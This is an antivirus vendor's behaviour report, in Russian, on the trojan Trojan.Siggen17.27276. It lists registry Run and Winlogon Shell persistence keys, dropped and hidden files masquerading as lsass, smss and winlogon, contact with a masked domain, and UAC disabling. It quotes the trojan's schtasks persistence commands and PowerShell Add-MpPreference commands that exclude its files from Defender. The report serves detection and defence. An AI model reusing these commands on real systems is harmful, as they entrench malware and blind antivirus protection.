Trojan.Siggen17.27276

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'lsass' = '"%ALLUSERSPROFILE%\Start Menu\lsass.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'WUDFHost' = '"C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\WUDFHost.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'mdm' = '"C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'winlogon' = '"C:\Users\Public\Recorded TV\Sample Media\winlogon.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'smss' = '"C:\Far2\PluginSDK\Headers.pas\smss.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'Idle' = '"%ALLUSERSPROFILE%\Microsoft Toolkit\Idle.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'smss' = '"<Текущая директория>\smss.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'WUDFHost' = '"%WINDIR%\system\WUDFHost.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'services' = '"%WINDIR%\AppPatch\AppPatch64\services.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'winlogon' = '"%ProgramFiles%\fspc\winlogon.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ALLUSERSPROFILE%\Start Menu\lsass.exe", "C:\totalcmd\LANGUAGE\smss.exe", "C:\Far2\FExcept\mdm.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'mdm' = '"C:\Far2\FExcept\mdm.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ALLUSERSPROFILE%\Start Menu\lsass.exe", "C:\totalcmd\LANGUAGE\smss.exe"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'smss' = '"C:\totalcmd\LANGUAGE\smss.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ALLUSERSPROFILE%\Start Menu\lsass.exe"'
[<HKLM>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe, "%ALLUSERSPROFILE%\Start Menu\lsass.exe", "C:\totalcmd\LANGUAGE\smss.exe", "C:\Far2\FExcept\mdm.exe", "%P...
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'System' = '"%WINDIR%\DigitalLocker\en-US\System.exe"'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\qtczlsass
<SYSTEM32>\tasks\m97gsmss
<SYSTEM32>\tasks\l05tidle
<SYSTEM32>\tasks\idle
<SYSTEM32>\tasks\mlbvsmss
<SYSTEM32>\tasks\kuorsmss
<SYSTEM32>\tasks\y2bewinlogon
<SYSTEM32>\tasks\ndylwinlogon
<SYSTEM32>\tasks\duhgwinlogon
<SYSTEM32>\tasks\8v3dmdm
<SYSTEM32>\tasks\jnfqmdm
<SYSTEM32>\tasks\system
<SYSTEM32>\tasks\kesawudfhost
<SYSTEM32>\tasks\tubjwudfhost
<SYSTEM32>\tasks\bmgzwudfhost
<SYSTEM32>\tasks\sddbwudfhost
<SYSTEM32>\tasks\wudfhost
<SYSTEM32>\tasks\s7njwudfhost
<SYSTEM32>\tasks\upugwudfhost
<SYSTEM32>\tasks\yhqfsystem
<SYSTEM32>\tasks\pqkjsystem
<SYSTEM32>\tasks\q6tdidle
<SYSTEM32>\tasks\25dnmdm
<SYSTEM32>\tasks\zq2sidle
<SYSTEM32>\tasks\setpmdm
<SYSTEM32>\tasks\lsass
<SYSTEM32>\tasks\ut4ylsass
<SYSTEM32>\tasks\gy8mlsass
<SYSTEM32>\tasks\v3vtsmss
<SYSTEM32>\tasks\4jswsmss
<SYSTEM32>\tasks\xrfsmdm
<SYSTEM32>\tasks\nrtosmss
<SYSTEM32>\tasks\dvp2mdm
<SYSTEM32>\tasks\smss
<SYSTEM32>\tasks\mdm
<SYSTEM32>\tasks\fn7ismss
<SYSTEM32>\tasks\tmrtwinlogon
<SYSTEM32>\tasks\lbs9winlogon
<SYSTEM32>\tasks\winlogon
<SYSTEM32>\tasks\4oq1winlogon
<SYSTEM32>\tasks\heqyservices
<SYSTEM32>\tasks\mpqzservices
<SYSTEM32>\tasks\cpcyservices
<SYSTEM32>\tasks\services
<SYSTEM32>\tasks\hjzjsmss
<SYSTEM32>\tasks\ditrsmss
<SYSTEM32>\tasks\d2xasystem

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует:

Средство контроля пользовательских учетных записей (UAC)

Изменения в файловой системе

Создает следующие файлы

%ALLUSERSPROFILE%\start menu\lsass.exe
C:\totalcmd\language\rcxe092.tmp
C:\totalcmd\language\rcxe14e.tmp
C:\far2\fexcept\rcxe41d.tmp
C:\far2\fexcept\rcxe4d9.tmp
%ProgramFiles%\fspc\rcxe798.tmp
%ProgramFiles%\fspc\rcxe845.tmp
%WINDIR%\apppatch\apppatch64\rcxeb04.tmp
%WINDIR%\apppatch\apppatch64\rcxebd0.tmp
<Текущая директория>\rcxee8f.tmp
<Текущая директория>\rcxef5a.tmp
%ALLUSERSPROFILE%\microsoft toolkit\rcxf239.tmp
%ALLUSERSPROFILE%\microsoft toolkit\rcxf304.tmp
C:\far2\pluginsdk\headers.pas\rcxf5d3.tmp
C:\far2\pluginsdk\headers.pas\rcxf6dd.tmp
C:\users\public\recorded tv\sample media\rcxf99c.tmp
C:\users\public\recorded tv\sample media\rcxfa59.tmp
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\rcxfd27.tmp
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\rcxfde3.tmp
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\rcxa2.tmp
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\rcx16e.tmp
%WINDIR%\system\rcx43d.tmp
%WINDIR%\system\rcx509.tmp
%WINDIR%\digitallocker\en-us\rcx7c8.tmp
%WINDIR%\digitallocker\en-us\rcx874.tmp
%TEMP%\57aec8c1-fe3a-4c10-841b-9883388d93f7.vbs
%ALLUSERSPROFILE%\start menu\rcxddd3.tmp
%TEMP%\30d1048b1a95022bdad0dd6486a79a875b36e758.exe
%ALLUSERSPROFILE%\start menu\rcxdd07.tmp
<Текущая директория>\rcxda67.tmp
%ALLUSERSPROFILE%\start menu\6203df4a6bafc7
C:\totalcmd\language\smss.exe
C:\totalcmd\language\69ddcba757bf72
C:\far2\fexcept\mdm.exe
C:\far2\fexcept\559fba5f8e4410
%ProgramFiles%\fspc\winlogon.exe
%ProgramFiles%\fspc\cc11b995f2a76d
%WINDIR%\apppatch\apppatch64\services.exe
%WINDIR%\apppatch\apppatch64\c5b4cb5e9653cc
<Текущая директория>\smss.exe
<Текущая директория>\69ddcba757bf72
%ALLUSERSPROFILE%\microsoft toolkit\idle.exe
%ALLUSERSPROFILE%\microsoft toolkit\6ccacd8608530f
C:\far2\pluginsdk\headers.pas\smss.exe
C:\far2\pluginsdk\headers.pas\69ddcba757bf72
C:\users\public\recorded tv\sample media\winlogon.exe
C:\users\public\recorded tv\sample media\cc11b995f2a76d
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\559fba5f8e4410
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\wudfhost.exe
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\480b7989c529f6
%WINDIR%\system\wudfhost.exe
%WINDIR%\system\480b7989c529f6
%WINDIR%\digitallocker\en-us\system.exe
%WINDIR%\digitallocker\en-us\27d1bcfc3c54e0
<Текущая директория>\rcxdab6.tmp
%TEMP%\b7f6aae5-4c2f-41ce-ac23-3579d98833b1.vbs

Присваивает атрибут 'скрытый' для следующих файлов

<Полный путь к файлу>
%ALLUSERSPROFILE%\start menu\lsass.exe
C:\totalcmd\language\smss.exe
C:\far2\fexcept\mdm.exe
%ProgramFiles%\fspc\winlogon.exe
%WINDIR%\apppatch\apppatch64\services.exe
<Текущая директория>\smss.exe
%ALLUSERSPROFILE%\microsoft toolkit\idle.exe
C:\far2\pluginsdk\headers.pas\smss.exe
C:\users\public\recorded tv\sample media\winlogon.exe
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\wudfhost.exe
%WINDIR%\system\wudfhost.exe
%WINDIR%\digitallocker\en-us\system.exe

Перемещает следующие файлы

<Текущая директория>\rcxdab6.tmp в <Полный путь к файлу>
%WINDIR%\system\rcx509.tmp в %WINDIR%\system\wudfhost.exe
%WINDIR%\system\rcx43d.tmp в %WINDIR%\system\wudfhost.exe
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\rcx16e.tmp в C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\wudfhost.exe
C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\rcxa2.tmp в C:\msocache\all users\{90140000-0117-0409-1000-0000000ff1ce}-c\access.en-us\wudfhost.exe
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\rcxfde3.tmp в C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\rcxfd27.tmp в C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe
C:\users\public\recorded tv\sample media\rcxfa59.tmp в C:\users\public\recorded tv\sample media\winlogon.exe
C:\users\public\recorded tv\sample media\rcxf99c.tmp в C:\users\public\recorded tv\sample media\winlogon.exe
C:\far2\pluginsdk\headers.pas\rcxf6dd.tmp в C:\far2\pluginsdk\headers.pas\smss.exe
C:\far2\pluginsdk\headers.pas\rcxf5d3.tmp в C:\far2\pluginsdk\headers.pas\smss.exe
%ALLUSERSPROFILE%\microsoft toolkit\rcxf304.tmp в %ALLUSERSPROFILE%\microsoft toolkit\idle.exe
%WINDIR%\digitallocker\en-us\rcx7c8.tmp в %WINDIR%\digitallocker\en-us\system.exe
%ALLUSERSPROFILE%\microsoft toolkit\rcxf239.tmp в %ALLUSERSPROFILE%\microsoft toolkit\idle.exe
<Текущая директория>\rcxee8f.tmp в <Текущая директория>\smss.exe
%WINDIR%\apppatch\apppatch64\rcxebd0.tmp в %WINDIR%\apppatch\apppatch64\services.exe
%WINDIR%\apppatch\apppatch64\rcxeb04.tmp в %WINDIR%\apppatch\apppatch64\services.exe
%ProgramFiles%\fspc\rcxe845.tmp в %ProgramFiles%\fspc\winlogon.exe
%ProgramFiles%\fspc\rcxe798.tmp в %ProgramFiles%\fspc\winlogon.exe
C:\far2\fexcept\rcxe4d9.tmp в C:\far2\fexcept\mdm.exe
C:\far2\fexcept\rcxe41d.tmp в C:\far2\fexcept\mdm.exe
C:\totalcmd\language\rcxe14e.tmp в C:\totalcmd\language\smss.exe
C:\totalcmd\language\rcxe092.tmp в C:\totalcmd\language\smss.exe
%ALLUSERSPROFILE%\start menu\rcxddd3.tmp в %ALLUSERSPROFILE%\start menu\lsass.exe
%ALLUSERSPROFILE%\start menu\rcxdd07.tmp в %ALLUSERSPROFILE%\start menu\lsass.exe
<Текущая директория>\rcxef5a.tmp в <Текущая директория>\smss.exe
%WINDIR%\digitallocker\en-us\rcx874.tmp в %WINDIR%\digitallocker\en-us\system.exe

Сетевая активность

Подключается к

'nu###dgames.fun':80

TCP

Запросы HTTP GET

http://nu###dgames.fun/pythonMultiuniversal.php?YF###############################################################################################################################################...

UDP

DNS ASK nu###dgames.fun

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Полный путь к файлу>'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\totalcmd\LANGUAGE\smss.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\FExcept\mdm.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\fspc\winlogon.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\AppPatch\AppPatch64\services.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Far2\PluginSDK\Headers.pas\smss.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '<Текущая директория>\smss.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\DigitalLocker\en-US\System.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%WINDIR%\system\WUDFHost.exe'
'C:\users\public\recorded tv\sample media\winlogon.exe'
'<SYSTEM32>\wscript.exe' "%TEMP%\57aec8c1-fe3a-4c10-841b-9883388d93f7.vbs"
'<SYSTEM32>\wscript.exe' "%TEMP%\b7f6aae5-4c2f-41ce-ac23-3579d98833b1.vbs"
'C:\users\public\recorded tv\sample media\winlogon.exe' ' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\schtasks.exe' /create /tn "QTCZlsass" /sc MINUTE /mo 7 /tr "'%ALLUSERSPROFILE%\Start Menu\lsass.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc MINUTE /mo 5 /tr "'C:\Far2\PluginSDK\Headers.pas\smss.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "Y2bEwinlogon" /sc MINUTE /mo 7 /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "DUHGwinlogon" /sc ONLOGON /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "NDyLwinlogon" /sc ONSTART /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "25DNmdm" /sc MINUTE /mo 12 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "8V3dmdm" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "JnFqmdm" /sc ONSTART /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc MINUTE /mo 10 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\mdm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "tubJWUDFHost" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "kuorsmss" /sc ONLOGON /tr "'C:\Far2\PluginSDK\Headers.pas\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "mLBvsmss" /sc ONSTART /tr "'C:\Far2\PluginSDK\Headers.pas\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "bmGzWUDFHost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "sDdBWUDFHost" /sc MINUTE /mo 6 /tr "'%WINDIR%\system\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "S7NJWUDFHost" /sc ONLOGON /tr "'%WINDIR%\system\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "upUgWUDFHost" /sc ONSTART /tr "'%WINDIR%\system\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc MINUTE /mo 10 /tr "'%WINDIR%\system\WUDFHost.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "YhQFSystem" /sc MINUTE /mo 13 /tr "'%WINDIR%\DigitalLocker\en-US\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "PqKjSystem" /sc ONLOGON /tr "'%WINDIR%\DigitalLocker\en-US\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "D2XaSystem" /sc ONSTART /tr "'%WINDIR%\DigitalLocker\en-US\System.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "System" /sc MINUTE /mo 5 /tr "'%WINDIR%\DigitalLocker\en-US\System.exe'" /f
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Start Menu\lsass.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\Microsoft Toolkit\Idle.exe'
'<SYSTEM32>\schtasks.exe' /create /tn "KeSAWUDFHost" /sc ONSTART /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\WUDFHost.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "WUDFHost" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\WUDFHost.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "M97gsmss" /sc MINUTE /mo 6 /tr "'C:\Far2\PluginSDK\Headers.pas\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc MINUTE /mo 8 /tr "'%ALLUSERSPROFILE%\Microsoft Toolkit\Idle.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "L05tIdle" /sc ONSTART /tr "'%ALLUSERSPROFILE%\Microsoft Toolkit\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Ut4Ylsass" /sc ONSTART /tr "'%ALLUSERSPROFILE%\Start Menu\lsass.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc MINUTE /mo 12 /tr "'%ALLUSERSPROFILE%\Start Menu\lsass.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "4JSWsmss" /sc MINUTE /mo 13 /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "V3vTsmss" /sc ONLOGON /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "NRTOsmss" /sc ONSTART /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc MINUTE /mo 9 /tr "'C:\totalcmd\LANGUAGE\smss.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "XRFSmdm" /sc MINUTE /mo 12 /tr "'C:\Far2\FExcept\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Dvp2mdm" /sc ONLOGON /tr "'C:\Far2\FExcept\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "seTpmdm" /sc ONSTART /tr "'C:\Far2\FExcept\mdm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "mdm" /sc MINUTE /mo 14 /tr "'C:\Far2\FExcept\mdm.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "tmrtwinlogon" /sc MINUTE /mo 9 /tr "'%ProgramFiles%\fspc\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "gY8Mlsass" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Start Menu\lsass.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "lbs9winlogon" /sc ONLOGON /tr "'%ProgramFiles%\fspc\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc MINUTE /mo 12 /tr "'%ProgramFiles%\fspc\winlogon.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "MPqzservices" /sc MINUTE /mo 14 /tr "'%WINDIR%\AppPatch\AppPatch64\services.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "hEQyservices" /sc ONLOGON /tr "'%WINDIR%\AppPatch\AppPatch64\services.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "CpCYservices" /sc ONSTART /tr "'%WINDIR%\AppPatch\AppPatch64\services.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "services" /sc MINUTE /mo 12 /tr "'%WINDIR%\AppPatch\AppPatch64\services.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "HjZjsmss" /sc MINUTE /mo 12 /tr "'<Текущая директория>\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "FN7ismss" /sc ONLOGON /tr "'<Текущая директория>\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Ditrsmss" /sc ONSTART /tr "'<Текущая директория>\smss.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "smss" /sc MINUTE /mo 11 /tr "'<Текущая директория>\smss.exe'" /f
'<SYSTEM32>\schtasks.exe' /create /tn "ZQ2SIdle" /sc MINUTE /mo 8 /tr "'%ALLUSERSPROFILE%\Microsoft Toolkit\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "Q6tDIdle" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Microsoft Toolkit\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "4oq1winlogon" /sc ONSTART /tr "'%ProgramFiles%\fspc\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\WUDFHost.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Users\Public\Recorded TV\Sample Media\winlogon.exe'

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней